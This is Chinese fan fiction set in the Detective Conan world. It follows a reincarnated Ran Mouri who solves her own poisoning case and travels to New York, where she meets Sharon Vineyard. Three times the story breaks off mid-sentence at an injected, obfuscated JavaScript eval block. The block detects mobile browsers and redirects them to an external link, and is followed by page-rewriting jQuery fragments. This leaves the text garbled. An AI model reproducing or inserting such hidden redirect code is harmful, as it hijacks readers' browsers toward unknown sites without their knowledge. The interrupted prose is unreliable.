而我优秀的青梅竹马并没有给我出马的机会,我回到旅馆的房间、还没收拾完自己的行李,就接到新一的电话。
他说他昨晚对照着近一年米花市发生的案件列表,筛选了两遍参加滑雪活动的学生名单,将可能与过往案件的犯人有所关联的人选整理了出来,拿给他父亲工藤优作看。而他父亲在刚才打过一个电话确认之后,已经完全确定了犯人的身份。
“不愧是优作老师,简直就是当代福尔摩斯——接下来怎么说?走流程准备公开推理秀?还是私聊劝自首?”
“那应该由兰你来决定的事。”新一的声音满是困倦,“兰你可是受害者——我已经在餐厅找到她了,要叫她去那天集合的会议室吗?”
“拜托你了,别让其他人注意到。”
“知道啦。”他了然地回应我,“希望她能够配得上兰的温柔。”
……说什么呢,我才不温柔。
·
犯人的名字是园田加奈,是隔壁班的学生,我对这个名字隐约有些印象,但从来没有打过交道。
现在我终于将名字和人对上号,女孩有一张很普通的、一点也不像犯罪者的脸,只不过现在强撑着镇定,小脸惨白。
“就不说多余的客套话了,园田同学,你知道我为什么要找你来。”
会议室房门紧闭,我坐在正中间的位置,新一则靠着一旁的桌子,有些懒散地站着。
“警方担心引起学生恐慌,所以没有挨个搜查行李,但是一旦确定目标,搜证就变得容易得多。此外,那天晚上一定有人见过你拧开我的杯盖,只是还不知道投毒事件的存在而已。当他们知道这是一起发生在身边的杀人未遂案,你就没有自首的机会了。”
“说说看吧,你跟我有什么仇什么怨?”
在一段气氛沉重的沉默后,女孩干涩地开口:“你是怎么发现的?”
“嫌疑人范围并不大,近期家庭发生变故,情绪受到严重影响,加上家里有高血压患者,筛选出的结果只有你。”
虽然也不是完全排除其他人的嫌疑,但优作老师的电话确认了她家中有降压药丢失——那犯人是她的可能性已然非常之高。
“家庭变故?是啊,我哥哥前不久被卷入煤气泄露引发的爆.炸住院,伤还没有痊愈,就在医院被逮捕了!”
她猛地抬起头,情绪激动起来,目光中的恨意几乎具现化。
“我看得清清楚楚,是你跟警察说过话之后,那些警察才动手的!因为你解决过几件案子,那些警察就对你言听计从,哥哥明明是受害者,警察却什么解释也没有,擅自就把哥哥抓走了!”
“既然你问我跟你有什么仇,那你来给我解释清楚啊!”
那个案子的话,我确实还有印象。我在医院见过被逮捕的嫌疑人,新一当时也跟我一起,但是……
“园田同学,你从你哥哥那里,什么也没有听说吗?还是说,你从没有去探视过他?”
对面的女孩愣了一下,变得更加激动:“哥哥拒绝见我!”
……我倒是能想到对方拒绝见她的理由。
“那就冷静下来,听听我的解释吧。”
我单手撑住脸颊,只觉得无比心累。
“首先,你哥哥的案
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327293|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
子跟我没有关系,逮捕他完全是警方搜证的结果。我会出现在同一家医院,是为去年遇到的事故去复查的。期间偶然遇到认识的警官,当然会打声招呼。”
“警方逮捕嫌疑人的前提,要么是现行犯,要么是有足够的证据、向检察院申请到了逮捕令,不可能根据我的几句话就违反规定。”
所以这对我来说完全是无妄之灾啊!
“其次,你所关心的、你哥哥的案件。他入院的那段时间,你应该没看过新闻吧?我看过,写得还挺清楚的。”
“某米花大学二年生在与女友分手当晚,在租住的公寓房间打开煤气试图自杀,却在最后时刻后悔,关闭煤气打开窗户后,在窗口点了一支烟,试图冷静一下。”
新一的嘴角狠狠抽动了两下,大概是想象到了之后的发展,努力忍住不笑。
我做了个摊手的动作,“然后,「嘭——」,爆.炸了。”
“不仅他自己受伤住院,还因为阳台玻璃全部破碎飞溅,误伤到了三个无辜路人和十二辆车。”
对面少女的表情完全凝固了。
“所以他拒绝见你,应该也拜托了父母和警方不要告诉你真相——毕竟实在是非常戏剧性的发展,他应该还想在你的面前、保留一点作为兄长的尊严。”
“好了,我的解释说完了。接下来到你了。”
我的话音落下,整个会议室一片死寂。
半晌我才听见少女的低声呢喃:“我不知道……我不知道是这样……”
音量在她整理思绪的过程中逐渐增加:“我以为是你弄错了,所以我才——才想让你吃点苦头,只是这样而已,不是什么杀人未遂,我没想杀死你。”
“你的房间里还有其他人,她们会给你叫救护车,你不可能会死的。对、就是这样,我没有想要杀人,不过是个恶作剧而已,你这不是没事吗?”
而后,话音带上一点情绪趋于崩溃的抽噎:“只是因为恶作剧,你就想让我去坐牢吗?”
我缓缓摇了摇头。
“你注意到了吗?原田同学。”我的声音带了些笑意,“刚才你的辩白中,自始至终,你连一句「对不起」都没有对我说过。”
女孩的抽噎声止住了。
“顺便一提,你不该拿走你妈妈全部的降压药。如果不是她倒下的时候弄倒了花瓶,声音引起了邻居的注意,你就再也见不到她了。”
现在,她终于开始道歉了。
·
在走廊上目送少女摇摇晃晃走向警察的背影,刚才躲在门外听了全程的服部平次双手抱胸,感慨起来:“还真是不留情面啊。”
我没觉得他的话有什么负面含义,身边的新一却主动解释起来:“那是视对方的态度而定的,如果那家伙能在误会解开的时候认识到自己的过错,真心实意地道歉,让兰感受到她的愧疚与后悔的话,说不定会再给她一次机会。”
“可惜她完全不在意我的死活。”我扯了扯嘴角,“找借口逃避是绝对不行的,都已经超过十四岁,不再是完全无法为自己行为负责的小孩子了。”
虽然考虑到犯人的年纪,这种程度的犯罪不知道会不会被检方定性为杀人未遂,但我想做的已经到此为止。
我对她并没有恨意,只是由衷地庆幸、还好自己没有独自死去。
不然的话……我的青梅竹马一定会摒弃法律、亲手为我报仇吧。
如果立场交换,我也是一样。
5. 福尔摩斯兰·五
现在杀人未遂的案子解决了,从长计议的迷题就成了第一顺位。
在短暂的思索后,我从口袋里摸出了手机。
“服部同学,跟我交换一下号码吧。”我把自己的号码调出来,放在屏幕上给他看,“如果藤泽朝夏老师辞职,希望你能立刻告诉我。”
“为什么藤泽老师会辞职?”
“唔、就当作是我的直觉吧,我也说不出理由。”
虽然对我的说法抱有怀疑,服部平次还是给我打来电话、以交换号码保存。
“说起来,她是把药放进你的水杯里了吧?你喝的时候,完全没有感觉到味道不对吗?”
“之前警方也有问过我这个问题。”
但跟应付警察时的简略回答不同,对于比预想中更早相识的服部平次,我并不介意告知他完整的前因后果。
“服部同学知道去年年末、发生在横滨港口的爆.炸案吗?”
“去年年末……啊、那个国际罪犯普拉米亚被逮捕的时候、引发的那次爆.炸?”服部确认道,“新闻上说,虽然警方提前疏散了人群,但还是有好几人被卷入其中,其中还有一人死亡。”
我点了下头:“是啊,当时我在现场。头部受创、事后住了一个月的院。”
少年侦探立刻了然:“难道说、你因为那次爆.炸而失去了味觉?”
“正解——不过正在恢复中了,医生说半年内应该能恢复到正常水平。”说着我扒拉上了身旁新一的肩膀,“我家青梅竹马的料理手艺非常高超,我实在是太想念了。”
·
虽然在普拉米亚来到日本之前,我就在与青梅竹马的闲聊间,凭借「艺术」(爆.炸)、「狱门疆」(涩谷事变)和「阿笠博士」(能够拯救世界的发明)三个关键词,回想起了「万圣节的新娘」这部剧场版的剧情,但那次事件、我确确实实是被意外卷入的。
原本我只是硬拖着青梅竹马、陪我去横滨地标塔的展望台参加活动、购买联动番剧的周边,结果还没上电梯,会场附近突然被警方疏散。
我在人群中突然看到了千早老师,脚步犹豫了几秒,一不留神就与新一被人流冲散,再不留神、竟然成了普拉米亚的人质。
而当时执行救援任务、负责保护我的人,正是我计划着想要救下、却一直不知该从何处入手的诸伏景光。
那次事件中、作为卧底的他的脸曾一度暴露在摄像头下,安全起见,他就成为了在爆.炸中「死亡」的平民。
我与诸伏景光仅仅有过那一次相遇,相处不到十分钟,交流不超过三句,内容全都是他声音温和的「别害怕」和我坚定的「我不怕」。
我并不知道他现在身在何处、在做什么秘密任务,只是听他直属上司的千早老师说,他当时受的轻伤并没有留下任何后遗症,也完全不影响接受新身份和新工作。
而对我来说,他还活着,活过了十二月七日,那已经足够了。
·
“总之——”面前的黑皮少年摆正神色,认真又自信地望着我,“下次我一定会赢过你。”
我并没有回应他的挑战宣言,而是反问他:“服部同学想要成为怎样的侦探?”
“哈?当然是能够比任何人都更快破解所有的谜团、发现案件真相的侦探。”接着他又反问我,“你难道不是这样吗?”
我摇了摇头。
“虽然我还是个不成熟的半吊子侦探,说这种话显得自己高高早上。但我觉得,不仅仅是真相,在调查和推理的时候,不能一味追求速度,还必须弄清楚犯人的心理才行。”
“因为,案件对于侦探来说、只是一次短时间的推理活动,但对犯人、对事件的相关者来说,却是可能影响一生的重大事件,一不留神就会毁掉一个人。”
“你看,这次我不是就差点被杀掉吗?虽然园田同学的犯罪动机完全出于误会,但我还是希望这样的事情再也不要发生了。”
同样并不成熟的少年侦探看了我好一会儿,才开口感慨:“你还真是个好人啊。”
我差点笑出声来:“为什么会得出这种结论?”
但也无关紧要——
“服部同学,「因为你的存在、所以我喜欢上大阪」、我希望你能成为这样的侦探。”
直到与青梅竹马一起、走出去一段距离,我才听见身后少年的喊声,那种不管不顾一定要传达给我的信念、还有作为大阪人的豪放与热情,全都一股脑塞进了他的话语里——
“你也是!毛利!你要成为「让我因为你而喜欢上东京」那种程度的对手!”
啊……这种话倒是不需要这么大声地喊出来……
我默默抬手捂住了脸。
被八卦的目光淹没,不知所措。
·
是在回程的大巴上。
回程比去程少一个人、且这个人是在众目睽睽下上了警车,即便真相还不明晰,也会引起相当高的讨论热度。与我关系近些的同学,都知道我前天夜里突然入院的事,由此不难联想到这件事与我有关,但我附近的画风却与案件毫无关联——
“兰~老实交代,你跟改方学园那个黑皮肤的帅哥是什么关系?”
虽然提问的人是园子,但是很明显,周围所有人都竖起了耳朵。果然喜欢吃瓜是人类的天性——我当然也喜欢吃瓜,但这瓜不能是从我家田里摘的。
我不知第多少次心累叹气:“没有任何关系,今天才第一次见面而已……”
“但是那个自称是他青梅竹马的女孩、气呼呼的样子仿佛是在捉奸诶。”园子演绎了一个夸张的惊恐表情,“如果不是她脚腕受了伤,总觉得会冲上来跟兰打架。”
……别,打不过,根本打不过。
和叶还是原作里的合气道少女和叶,但我不是原作里的空手道少女兰。我只是区区一个写小说的原足球选手,拿得出手的最高战力是凌空抽射——然而当目的地是滑雪场的时候,我不会穿那双神奇的脚力增强鞋。
“应该不至于吧,那女孩不像是会用暴力解决问题的人。”我揪住了一缕自己的头发,“不过我现在确实有点后悔,如果我当时能更加机敏地随机应变、让她或者服部同学顺势向对方告白,那才可以说是不枉此行。”
那样服部平次就不用在高二的时候,一边捉妖一边满世界寻找合适的告白地点——
可惜我只记得这个设定,却不记得他具体捉了那些妖、准备告白时又被哪些突发情况打断了。
“诶——原来那两个人互相喜欢吗?”
我点点头:“喜欢的吧,只是傲娇,被问起来也一定不会承认。”
“那你和新一——”
“怎么又扯到我们身上来了?”我不禁失笑,转念一想,又觉得不然就一劳永逸地解决问题,“这样吧,以后我和新一对外时、就以情侣关系自称,感觉能避免很多麻烦。”
每天都会被鞋柜里的大量情书砸脸的新一举手表示他没有意见。
园子却觉得不行:“可是那样的话,不是很容易错过真正喜欢的人吗?”
“新一抱有恋心的人吗?如果这个世界上真的有那样的人存在……”我认真握拳,“我一定会拼尽全力、为他做僚机的。”
“我倒是觉得,”新一抬手搓了搓下巴,不知是想到了什么、笑容突然凭空出现在他脸上,“兰恋慕的那个人,用不了多久,一定会主动出现在她面前。”
……啧,知道你说的是那个自警校毕业后、就再没有给我「安室凛」写过信的降谷零。
·<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327294|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>“妈,你听我说,被诅咒的根本不是米花市,而是我和新一啊!”
“爸,你别激动,人已经自首被带走了,而且负责案件的是山形本地的警察,就算是高贵的警视厅也不能越权处理。”
是在到家当晚,毛利家一家三口齐聚一堂,等披萨外卖到来的时间里,我给爸妈绘声绘色地讲了讲我在山形的医院历险记。
接着又为了平息这俩人对于我被伤害的怒火,快速跳到下一个案件,讲起了几小时就快速破案的、发生在滑雪缆车上的自杀他杀之谜。
然而案件背景描述还没讲完,服部平次的电话就打了过来。看着来电显示我就有所推测,接听起来、果然他想要告知我的,是藤泽老师突然辞职的消息。
这样一来,再调查这个人恐怕就没有意义了。
可是她的目的究竟是什么呢?入职这么短的时间就辞职、做这种麻烦事……
——「二番目」(第二位)、而不是「二回目」(第二次),为什么?
不、不可能吧,她不可能是在说我的关键词——除非我那本《事件簿》根本不是丢在了工藤家的书房里。
见我挂掉电话后仍在迟疑,妈妈有些担心地问我:“兰?发生什么事了吗?”
“啊、没什么。”我收起手机,下意识露出笑容,“我这几天认识了一位大阪的新朋友,是同年级的男生,跟新一长得很像。”
爸爸眉头一皱:“不会是那小子的亲戚吧?”
“不,大阪那个不是。”
是亲戚那位、住得距离我们要更近些,也在东京,以后读高中会去练马区的江古田。
我战术喝了口水,正准备继续讲刚才的案件背景,却再度有电话打了进来。正好外卖小哥也按响了门铃,我干脆起身让开桌旁的位置,走到窗户边接听。
这一次对面的人是我的青梅竹马,少年的声音欢快得几乎可以具现化出音符:“兰!我有两个消息,两个都是好消息,你想先听哪一个?”
“……有区别吗?”
“确实没区别。”新一笑了一声,而莫大的惊喜随即向我砸来,“第一个好消息,刚才我妈在帮我爸将资料书收拾回书架的时候,找到了你的《事件簿》。”
诶?诶!!!
“真的吗?!”
“当然是真的,我正在看着。首页开始写了八页关键词,尾页写了几个暴露你不为人知本性的课题——「如何创造与贝尔摩德的完美偶遇」、「如何邀请贝尔摩德一起调马提尼」、「如何在调完马提尼后让贝尔摩德负责」……怎么全是贝尔摩德?”
早已不记得这件事的我尴尬挠头:“可能那时候我在担心你的人生大事。”
“以那时候我们的年纪、考虑这个是不是早了一点……”
“那你要问那个年纪的我在想什么。”想了想我还是觉得不太放心,“新一,那本《事件簿》前边的关键词部分,你拿给你爸看一下。”
“放心好啦,已经给我爸看过了。关键词部分确实可以强行联想到一些已经发生的案件,但不会牵连到任何组织卧底——顺便一提,我家里刚用反监听装置检查过一遍,没有找到窃听器。”
可靠!工藤一家就是可靠的代名词!
那样的话,即便这本记录真的如我所猜测的那个可能性,曾一度落入某人手中、最近才被还回来,也不会有卧底因为我的过失而暴露身份。
“……那就好。”
“然后是第二个好消息。”他的声音染上更加明显的笑意,“我爸让我问你,等到春假的时候,想不想跟我们一起去夏威夷。”
“去!当然要去!”
开车开船开飞机,射击拆弹反侦察,我的全能特工之路、不对、全能侦探之路,立刻从夏威夷启航!
6. 纽约魅影·一
我是高中生侦探毛利兰。
确切地说,要到下周一开学的时候,我才会成为高中生,但现在这个不上不下的时间节点,我也不好再自称是初中生。
在人脉广路子多的青梅竹马父亲的带领下,我与青梅竹马一起,在春假里、作为夏威夷特工培训基地(划掉)的一名普通学员,完成了远超当前年纪学习能力的技能提升。
当然,我深知学无止境,即便学会开直升机,还有小型民用机和大型客机的操作方法要学,所以暑假我们还会再次到访。
没错,我的目标就是成为熟练掌握伊森·亨特全部技能的夏洛克·福尔摩斯。
身旁的苹果头少年露出半月眼:“你直说你想做蝙蝠侠不就好了?布鲁斯·韦恩可是在点满技能树之余,同时还有着「世界上最伟大的侦探」的称号——别瞪我,我当然知道对你来说最伟大的侦探是福尔摩斯。”
而现在,在夏威夷培训暂时结业后、一度回到日本的我,正和青梅竹马,又一次坐上前往美国的航班,只不过这次的目的地换成了洛杉矶。
“那好吧,我想做蝙蝠侠。”话音一顿,“但我没有那么多钱。”
“那么很遗憾,你只能靠变异成为超级英雄了——不对,《ZERO~安室凛》系列不是卖的很好吗,去年年末出版的第九部、发售首日书店排队的盛况我还记忆犹新,你怎么就没钱了?”
“也不是完全没钱,只是最近确实花掉不少。”说着我摸了摸腰间的两条腰带,每个腰带都能发射一颗烟花球和一颗普通球,“我成为了阿笠博士的赞助商。”
“……啊?你准备改行卖军火了?”
我又拉住了自己穿在外套里的伸缩背带,笑嘻嘻地问他:“怎么样,你要入伙吗?”
“我是真没钱,不过产品测试可以交给我。”对自己的武力值有绝对自信的空手道少年低头扫向我的鞋,“我想试试看、能不能徒手接下你一个球。”
“我觉得有希望,但可能短时间内、你就参加不了比赛了。”我中肯地回答道,“你还记得在夏威夷、那个被我踢进保险柜的银行抢匪吧?”
“……这辈子应该都不会忘吧。”
于是我诚恳地发出感慨:“唔,真不愧是工藤家的儿子,记忆力就是好。”
“我是这个意思吗?!”
“你夸我、我不就礼尚往来地夸你嘛。”
“……你开心就好。”
·
早在去夏威夷之前,我就凭借记在《江户川少年事件簿》里「胶片」、「火灾」、「无钢圈」(内衣)三个关键词唤醒的记忆,将本该在「飞天密室、工藤新一最初的事件」里、被胸罩的钢圈捅入颈髓而死的摄影师,以故意放火、杀人及威胁公共安全的罪名,实名举报进了警察局。
因而从日本飞往洛杉矶的一路非常平静,没有杀人案也没有尖叫,更没有机长中毒后飞机惨被风卷走、又在被雷劈后失去自动驾驶功能、只能靠小学生指导高中生开飞机迫降的惊险遭遇。
我带上眼罩地睡了个昏天黑地,醒来时才发现青梅竹马睡倒在了我肩上。那小鸟依人的乖巧睡姿,完全不像是能够轻易躲开连发BB弹的空手道强者。
……我合理怀疑手.枪子弹他也能躲开,但为了安全谁也不敢让他试,只能等到条件自己被创造出来。
“醒醒,新一,我们要准备降落了。”
少年揉着僵硬的脖子慢吞吞地直起身,脸颊上先前压着我肩膀的位置、被压出了一小团红晕,开口时明显意识还并不清醒:“唔、我妈会来机场接我们。”
“不是这个机场,我们不是去你家。接下来要立刻转机去纽约,你妈已经在那边了。算了,反正你也不会看路标,一会儿跟紧我别丢了就行。”
“好的兰酱,我的身体就托付给你了。”
“这倒是大可不必……”我望向少年依旧迷茫的脸色,开口向他确认道,“你没有哪里不舒服吧?有的话一定要尽早告诉我。”
“为什么这么问?”
“因为在纽约落地之后我可能会感冒发烧,虽然现在完全没有生病的征兆,但原作是那么发展的,我不得不提前做好准备。”说着,我从口袋里摸出药盒来,“转机之后我会吃点感冒药,到纽约的航班大概六个小时,应该足够睡到药效带来的困意过去了。”
“我说、兰。”身旁的少年忽然一改先前困倦的模样,眼睛亮闪闪地望着我,“难道说、本次行程会发生的案件,不止有飞机上的一场?”
我愣了一下:“出发前我给你讲剧情讲到一半的时候,你不是说全都想起来了吗?还表现得特别高兴,难道不是因为意识到、这是与你梦中情人初遇的时刻?”
“那是因为我以为回到米花之前、都不会再遇到案件……等等、梦中情人初遇?”一秒之后,新一猛地抬起眼,仿佛有一道闪电在他脑后给他劈出了灵感,“难道是NY事件?致使贝尔摩德此后心甘情愿做我俩干妈的——”
怎么可能不再遇到案件,被称为死神又不是仅仅因为我们居住的米花是案件多发区,还因为我们走到哪死到哪——看看吧,与JR西日本合作的每年一度的旅游篇,哪次我们没有掀起腥风血雨?
“如你所说,这是我不看关键词也绝对不会忘记的重要事件。顺便一提,我记下的关键词是「雨」、「手帕」和「栏杆」。”
……然后我就被迫在转机的航班上、陪兴奋的青梅竹马聊了六个小时。
聊天主题从「如何创造与贝尔摩德的完美偶遇」到「如何邀请贝尔摩德一起调马提尼」再到「如何在调完马提尼后让贝尔摩德负责」——当然、人名部分用了代称,完全就是我小时候写在《事件簿》尾页的课题。
所以说小时候的我是多么的深谋远虑啊!青梅竹马的人生大事果然是需要提前做好准备的!
虽然到降落为止,我们都没得出什么有效计划就是了。
毕竟最大的变数是女主角本人——我是说贝尔摩德。
还有就是,如果能再次见到赤井秀一,我必须跟他谈上几句。如果他能想到办法、为明年可能会死于非命的前女友负责,我就不用再想方设法暗示千早老师做安排了。
毕竟现在的我已经十五岁,不再是提出什么观点后,即便用突发奇想来搪塞缘由、也不会被大人追根问底的年纪了。
……而且优作老师说过,他们夫妇今年移居美国以后,工藤家的书房就是我的工作室,我绝对不允许未来这里变成FBI据点!
·
我拖着不太会看路的青梅竹马、青梅竹马拖着行李箱顺利出关、找到停车场时,有希子阿姨的灰色捷豹已经等在了那里。
望见新一被我拉着手腕,优雅漂亮的前女演员露出欣慰的笑容:“果然新一身边有兰酱在,我和优作就可以放心了。”
“我爸妈也这么说,”我与少年对视一眼,同时默契地绽开笑容,“如果没有新一,我早就被自己做的料理毒死了。”
我跟我妈的料理手艺一脉相承,是那种如果我说今晚我下厨、那我爸会立刻冲去警视厅加班程度的黑暗料理。
即便被同时拥有天资和后天努力的特级厨师青梅竹马手把手教导过,也完全无济于事。技能条的起始端就像是黑洞,无论积累多少经验,都会尽数落进洞里,永远也不能涨起来一点。
不过,反正青梅竹马就是要互相成就嘛。他点满了家政方面的技能树,我去点其他方面的就好了,发展路线不一样,完全没有竞争的必要。
在经历了两段长途飞行之后,坐进车里的那一刻,我就开始感觉身体不适。洛杉矶飞伦敦的路上,我只顾着跟新一聊天而忘记了吃药,到现在确实有点感冒的预感。但重要剧情就在眼前,现在吃药只会影响我的状态。
而我对曼哈顿的期待和想象也足以冲淡时差带来的困意,只可惜复仇者大厦并不存在于当前的世界观里……倒也没什么特别可惜的,不存在也挺好,至少安全。
副驾驶座上、已经被我唤醒有关剧情全部记忆的新一开口提醒:“妈,你应该没忘记调夏令时吧?”
今天是四月的第一个星期日,恰好从今天凌晨起,时间需要调快一个小时——其实根据我上辈子的记忆,美国应该在「某一年」修改了有关夏令时的政策,将时间段延长、从三月的第二个星期日就开始进入夏令时。但当前的世界并没有出现这样的政策,大概是因为这一话的漫画完成于「某一年」之前
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13327295|140439||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
这也是没办法的事,《名侦探柯南》连载了三十年,写实向作品基本遵循创作当时的规则,而世界观也只能在时间流逝中自行完善。
所以我其实有点好奇,早已换上智能机的松田阵平,如果真的在前年的十一月七日把自己关进了安置有炸.弹的摩天轮轿厢,故事会发展成什么样。
……但也只是有一点点好奇而已,「他还活着」这一点,足以让我收起所有好奇心。
“真的诶,从今天开始调整夏令时……时间应该还来得及。”被自家儿子提醒到的有希子阿姨扫了一眼手表,从后视镜里与我对视一眼,“抱歉、兰酱,晚餐时间可能要压缩了。”
“我完全没问题。”我应声道。
虽然感觉略微有点有气无力,但坚持几个小时应该可以——如果等在前方的不是贝尔摩德、而是安室透,那我绝对还能元气满满地熬个通宵。
似乎是对于打乱原先的计划感到抱歉,有希子阿姨开始暗戳戳地为我透底:“我记得兰酱以前说过,最喜欢的演员、跟新酱最喜欢的演员是母女,那是在说莎朗对吧?”
我立刻反驳道:“莎朗是第二喜欢,我最喜欢的演员永远都是有希子姐姐。”
“兰酱!你要是我家女儿就好了!”
副驾驶座的新一默默扭头半月眼看向我。
我露出愉快的笑容:“可那样的话,我就没办法再喊有希子姐姐了呀,对吧新酱?”
——你管她叫妈,我管她叫姐,我们各论各的嘛。
清楚地听懂了我的弦外之音的新一抽了抽嘴角:“……啊对对对。”
有希子阿姨倒是没在意我和新一之间的暗流涌动,继续向下说:“再过一会儿,兰酱就能见到你第二喜欢的演员啦。”
虽然这点我早就知道,且在飞机上与青梅竹马热烈讨论过,但此刻从有希子的口中听到,我还是由衷感觉心潮澎湃——
“真的吗?!太好啦!提前准备签名板真是对了!”
新一再度回过头来,目光灼灼:“兰。”
“放心啦,当然有准备你的份,你可以试试拜托她留个唇印。”
“……这倒不必。”
“真的吗真的吗?那我只给自己要咯。”
“……呵。”
行车途径布鲁克林大桥,窗外已经可以看见自由女神像。对面的车道里接连经过警车,让我一时有种身在米花的幻视。
但我知道,他们的目标是最近在深夜出没的、攻击年轻女性的日籍杀人魔。消息早已经在网上传得沸沸扬扬,即便是大洋彼岸的日本也十分关注。
最初得知我要去纽约的时候,园子还专程打电话来叮嘱我,让我在纽约绝对不要单独出门,无论去哪里都要叫上新一做护花使者。
那我当然不会自己偷跑——真正的杀人魔现在多半已经落在贝尔摩德手上,而由贝尔摩德扮演的虚假杀人魔,如果我独自去见,我的青梅竹马可能就要跟我闹了。
·
时间临近七点,开始下雨了。
车稳稳停在百老汇门口,有希子阿姨用手机拨打出给莎朗的电话,而我的心脏也因紧张激动开始狂跳起来。
不仅是因为这是唯一一次见到「莎朗·温亚德」的机会——她将很快诈死并只留下「克丽丝·温亚德」的身份,还因为「贝尔摩德」本身的危险性。
我不知道自己能不能成为「天使」,我跟原作的毛利兰不一样,没有她那么温柔善良。大多数时候我都会为了「自由」与「活着」而主动「守序」,但道德标准远没有原作的新兰那样严苛。
贝尔摩德那种聪慧的人,只要观察一段时间,应该就能发现我的本质。
但是看着先行下车后,跑到我这边的车门口给我撑伞的青梅竹马,我又释然地露出一点笑来。
即便不成为「天使」、不认下那个干妈也没关系,那种保护不是必须不可。只要与我的青梅竹马在一起,无论是迷题还是危险,我们总能想办法解决。
所以现在就只剩下……
“莎朗!!!我好喜欢你!!!请给我签名!!!顺便能不能给我留一个唇印!!!”
只要放心大胆地追星就好啦!
7. 纽约魅影·二
拿回付有唇印的签名板后,我立刻小心翼翼地捧着它套上了自粘袋。如果不是条件不允许,我甚至想当场给它做个塑封。
排在我后边的新一没能放下羞耻心、鼓起勇气请求唇印,但在得到签名之后,还是一边吐槽着“当着本人的面、兰你多少表现得稍微矜持一点啊”一边自觉地从我手里接过了另一张自黏袋。
“有什么好遮掩的,我就是很喜欢莎朗啊,我看过她的所有作品,包括电视剧电影综艺节目和特别访谈,但凡出现了她的影碟我都有买,还收集了全部她上封面的杂志。”
走在莎朗身后,我微笑着、肆无忌惮地展现着厨力与爱——虽然说心里话,我会买那么多莎朗的周边,只有百分之二十的原因、是我真的喜欢她的样貌和演技,其余全都是因为对青梅竹马爱屋及乌。
“小新你就尽管羡慕我吧,回家之后我要把这张签名板装裱起来、放在床头柜上,允许你偶尔来观瞻一下。”
而且莎朗一年之内就会诈死,这说不定就是绝版签名了诶!
由此联想一下,只要我打出名声,跟着原作里我爸的脚步,把剧情走一遍,那未来还能收集到多少绝版啊!
我的话同时逗笑了有希子和莎朗,久违谋面的好友、也算得上是师姐妹的两人一前一后扭头向我看来,又同时收回视线。
话题却顺势来到了我身上:“那个女孩、未来会成为有希子你的「Daughter-in-Law」(儿媳)吗?”
“还不知道呢。”有希子回答道,语气听起来有些遗憾,“虽然兰酱跟新酱是形影不离的青梅竹马,但新酱好几次信誓旦旦地说,他跟兰酱之间绝不可能产生爱情。”
“明明还是这样的年纪?”
“是啊,明明是这样的年纪。”
走在后边的我和新一对视一眼,谁也没说话。
我当然明白自家青梅竹马的想法,类比于之前我给园子的说法——我感觉我跟新一比较像单亲母亲带着儿子,或者反过来。两个人相依为命,是对方在全世界最重要、也最亲密的存在,但彼此之间的感情绝不会是热烈冲动的爱情。
·
我们来到百老汇的目的是来观看音乐剧《金苹果》,帮我们拿到票的莎朗、先前与有希子约定过,如果我们能够在七点之前到达,她就可以带我们去参观后台。
而现在,我们就站在女性主演们的休息室外,距离演出开始只剩不到一个小时,演员们已然做好妆造,每个看起来都那样明艳动人。
早在来纽约之前,我就查过接下来要上演的这部音乐剧、以希腊神话《金苹果之争》为原型改编的《金苹果》,也和自己记忆中的原作剧情做过对照,这会儿正好给一知半解的青梅竹马做个科普——
掌管纠纷的女神厄里斯因未受神宴邀请而心生愤怒,于是发挥自己的专业技能,将一颗写有「献给最美丽的女神」的金苹果送到了神宴上。
于是天后赫拉、智慧女神雅典娜和爱神阿芙洛狄忒为了「最美」的称号当场反目,被要求做出评判的主神宙斯又不敢端水,于是压力被给到了凡间的特洛伊王子。
为了这颗苹果,三位女神纷纷以自己的职权向特洛伊王子许诺。而在统治者、英雄与爱情之间,王子最终选择了爱情,金苹果最终落于爱神之手。
“这可不是什么歌颂爱情的史诗。”说着我撇了撇嘴,“王子是在认真权衡后做出的决定,他作为王子、本就要继承王位成为统治者,又认为自己有的是能力创出一片天成为英雄,仅此而已。”
“但他还是得到了爱情吧?”
“算是吧,阿芙洛狄忒帮他拐走了全世界最美的女人海伦。可海伦是斯巴达王国的王后,夺走她的后果、是长达十年的特洛伊战争。”
不过在这部音乐剧里,这位王子增加了一个「大天使米迦勒」的隐藏身份……希腊神话里混上《圣经》,就只从整活的角度来考虑,我还是挺想看看这个编剧能编出什么花样的。
莎朗的出现让所有的演员们都激动起来,而最近在美国参加综艺节目、借着优作老师的推理小出风头的「暗夜男爵夫人」有希子,也受到了演员们的热烈欢迎。
没什么存在感的我和新一就缩在后边,继续小声吐槽刚才的故事。
“可惜这部剧里没有海伦,”我暗戳戳地看了莎朗一眼,“要我说、能出演「最美的女人」的「最美女演员」,还得是克丽丝。”
